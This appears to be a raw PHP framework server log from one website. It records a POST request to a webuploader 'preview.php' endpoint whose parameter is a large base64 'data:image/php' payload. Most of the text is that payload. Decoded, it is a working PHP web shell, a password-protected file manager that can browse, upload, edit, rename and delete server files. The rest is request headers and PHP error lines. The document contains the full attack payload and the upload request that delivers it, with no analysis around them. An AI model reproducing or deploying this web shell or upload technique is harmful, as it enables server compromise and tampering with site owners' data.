TwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'libs' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:57+08:00 ] 119.42.146.234 POST 51tianwei.com/static/hui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002749s] [吞吐率:363.77req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgI